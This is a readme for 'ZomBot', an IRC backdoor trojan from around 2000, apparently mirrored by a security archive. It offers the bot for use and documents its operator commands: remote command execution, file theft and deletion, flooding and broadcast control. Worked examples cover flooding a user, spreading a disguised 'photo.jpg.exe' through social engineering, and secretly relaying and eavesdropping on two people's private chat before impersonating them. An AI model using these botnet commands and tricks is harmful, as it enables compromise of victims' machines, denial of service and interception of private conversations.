ZomBot
(Backdoor.Win32.Zombodoor)

by Zombie



  Z-O-M-B-O-T      version 1.xx        (x) 2000 
  ~~~~~~~~~~~
                        play with your own IRC army

  Main idea is that ZOMBOT.EXE will be installed on hundreds machines,
  and each zombot will connect to IRC, increasing your power.

  - join IRC
  - receive commands from you; forward 'em to IRC server

[*] To force zombot do single action N times (i.e. send it back to IRC):

      /PRIVMSG abc :<psw1> <[xN] action>

[*] Also, single action may be sent to a channel with some zombots:

      /PRIVMSG #ch :<psw1> <[xN] action>

[*] To force broadcast action, i.e. to distribute single action between
    all zombots on the IRC: (N=probability of each single action, if defined)

      /PRIVMSG abc :<psw1> $bcast <[pN] [xN] action>

    broadcast action should not be sent to a chan;
    it also may not contain psw1 substring.

[*] <action> can be any IRC command, or one of the following commands:

      $bcast <action>            -- do broadcast action
      $quit                      -- quit IRC, quit zombot.exe (until reboot)
      $sleep <N>                 -- quit IRC, sleep N seconds, then return.
                                    reboot-independent
      $rename [nick1 [nick2...]] -- change nickname. (no nick == random)
                                    try all given nicknames, then set random
      $forward [nick|<#chan|*]   -- forward IRC output to nick/chan, *=clear
      $flood <nick>              -- do flood (from current bot)
      $info [nick|#chan]         -- return zombot/machine info
      $exec <cmdline>            -- execute cmdline; %windir% & etc. allowed
      $dump [[fname] nick|#chan] -- dump file. no fname == $exec's result
      $cd [path]                 -- get/set current directory
      $dir [path: [/s]]          -- dir, /s=recursive
      $delete <filename>         -- delete file
      $stop                      -- use it to break $dump/$dir    [NO PSW]
      $kix0r <#chan> <nick>      -- same as if <nick> kicked/deopped brother
      $brolist                   -- dump current brother list
      $ini list                  -- view IRC_commands_to_exec_at_startup
      $ini del                   -- delete ini file
      $ini add <text>            -- append one line to ini file
      $dcc send <nick> <fname>   -- dcc send file to nick
      $dcc recv                  -- accept dcc send, i.e. receive file
      $redir list                -- list redirect info
      $redir del                 -- del all redirect info
      $redir del <n>             -- del redirect entry #n
      $redir add <src> <dst> [hide] --redirect src nick/chan to dst nick/chan
                                      'hide' means to disable source info
      $servlist list             -- list IRC server list
      $servlist del              -- delete IRC server list
      $servlist del <n>          -- delete IRC server list #n
      $servlist add hostname minport maxport   -- add IRC server
      ...

      Any $-prefixed commands added into .INI file will be executed at
      startup. Thus, adding static IRC server into list looks as following:

      PRIVMSG abc :<psw1> $ini add $servlist add us.undernet.org 6665 6668

[*] Examples

      #virus            -- target channel
      abc, cde          -- zombots on #virus
      xyz, qqq, ...     -- other zombots (not on chan)
      retch             -- motherfucker
      fux0r1            -- default psw1

    PRIVMSG abc :fux0r1 JOIN #virus     -- abc has joined #virus
    PRIVMSG cde :fux0r1 $bcast JOIN #virus  -- abc,xyz,qqq,... has joined #virus

    PRIVMSG cde :fux0r1 $ini del        -- make this bot joining only #virus
    PRIVMSG cde :fux0r1 $ini add JOIN #virus           each time its started

    PRIVMSG xyz :fux0r1 $flood retch       -- flood with finger/etc. requests
    PRIVMSG xyz :fux0r1 x100 PRIVMSG retch :are you alive?  -- kind of flood
    PRIVMSG abc :fux0r1 $bcast $flood retch  -- force abc,cde,xyz,... to flood

    dcc send qqq pussy.jpg.exe          -- send virus to qqq, qqq is my bot
    PRIVMSG qqq :fux0r1 $dcc recv       -- force qqq to receive file
    PRIVMSG qqq :fux0r1 $rename pussy
    PRIVMSG pussy :fux0r1 JOIN #virus
    PRIVMSG pussy :fux0r1 $redir mynick lamer hide -- redirect my msgs to lamer
    PRIVMSG pussy :fux0r1 $redir lamer mynick      -- and vise versa
    PRIVMSG pussy :hava new kewl pic for u!
    PRIVMSG pussy :$dcc send lamer pussy.jpg.exe

[*] SUPER-JOKE

    let we know that there're nick names jack and john.
    let we have two zombots on IRC, bot1 and bot2.

    now, see what i'm doing:

    normal chat:  jack <--irc--> john

    now becomes:  jack <--irc--> _john <--irc--> _jack <--irc--> john
                                 ==bot1          ==bot2

    [1] install bot1 (_john) between jack and _jack

        PRIVMSG bot1 :fux0r1 $redir add jack _jack hide
        PRIVMSG bot1 :fux0r1 $redir add _jack jack hide
        PRIVMSG bot1 :fux0r1 $rename _john

    [2] install bot2 (_jack) between john and _john

        PRIVMSG bot2 :fux0r1 $redir add john _john hide
        PRIVMSG bot2 :fux0r1 $redir add _john john hide
        PRIVMSG bot2 :fux0r1 $rename _jack

    [3] and now, install hukker (let it be your nick)
        as a mathafukka watching private chat between _jack and _john,
        i.e. between real jack and john

        PRIVMSG _john :fux0r1 $redir add  jack hukker
        PRIVMSG _john :fux0r1 $redir add _jack hukker

        PRIVMSG _jack :fux0r1 $redir add  john hukker
        PRIVMSG _jack :fux0r1 $redir add _john hukker

    [4] well, private chat may be started right now ;-)

        PRIVMSG _jack :fux0r1 PRIVMSG john :hi, john!

    [5] lets see, what happened as a result of our manipulations:

        _jack -->  john : hi, john!

         john --> _jack : hi, how's life?
        _jack --> _john : hi, how's life?   _jack --> hukker : john>> hi, how's life?
        _john -->  jack : hi, how's life?

         jack --> _john : good, and yours?
        _john --> _jack : good, and yours?  _john --> hukker : jack>> good, and yours?
        _jack -->  john : good, and yours?

        ...

    [6] Well, now hukker is tired of watching private chat.
        So, he breaks their happy connection, inserting himself between
        _jack(jack) and _john(john).

        PRIVMSG _jack :fux0r1 $redir del
        PRIVMSG _jack :fux0r1 $redir add john hukker
        PRIVMSG _jack :fux0r1 $redir add hukker john hide

        PRIVMSG _john :fux0r1 $redir del
        PRIVMSG _john :fux0r1 $redir add jack hukker
        PRIVMSG _john :fux0r1 $redir add hukker jack hide

        hukker --> _jack : have to go. btw, this is my foto
        _jack  -->  john : have to go. btw, this is my foto
        PRIVMSG _jack :fux0r1 $dcc send john photo.jpg.exe

        hukker --> _john : time to go, jacky... i'll email you my foto. bye
        _john  -->  jack : time to go, jacky... i'll email you my foto. bye

        turn _jack/_john out from IRC for 10 mins:
        PRIVMSG _jack :fux0r1 $sleep 600
        PRIVMSG _john :fux0r1 $sleep 600

    By the way, the same thing may be performed using two emails.
    Just find two serious guys, and install email connection between'em. ;-)

[*] Authentication

    Use HOST2REAL.EXE <yourhostname> to get your IRC realname.
    Such realname will be accepted by all zombots as "one of us",
    and you will be "protected" person on channel with zombots.

[*] other features

    All zombots will protect each other.
    This means, that when somebody kicks/bans/deops some zombot on a chan,
    all other zombots will kick/ban sucker, and, moreover, kicked bot
    will rejoin and send broadcasting message to all others to flood badguy.

[*] Using ZOMBOTs

    If you're reading this text, then i've played with bots enough. ;-)
    So, change irc_psw, recompile bot and install/run it on some machines.

    As you can see, zombots was initially designed as a distributed
    flooding mechanism, to be used in the channel takeover actions. So,

                             Seek & Enjoy! X-)
				
Zombie							 



MegaSecurity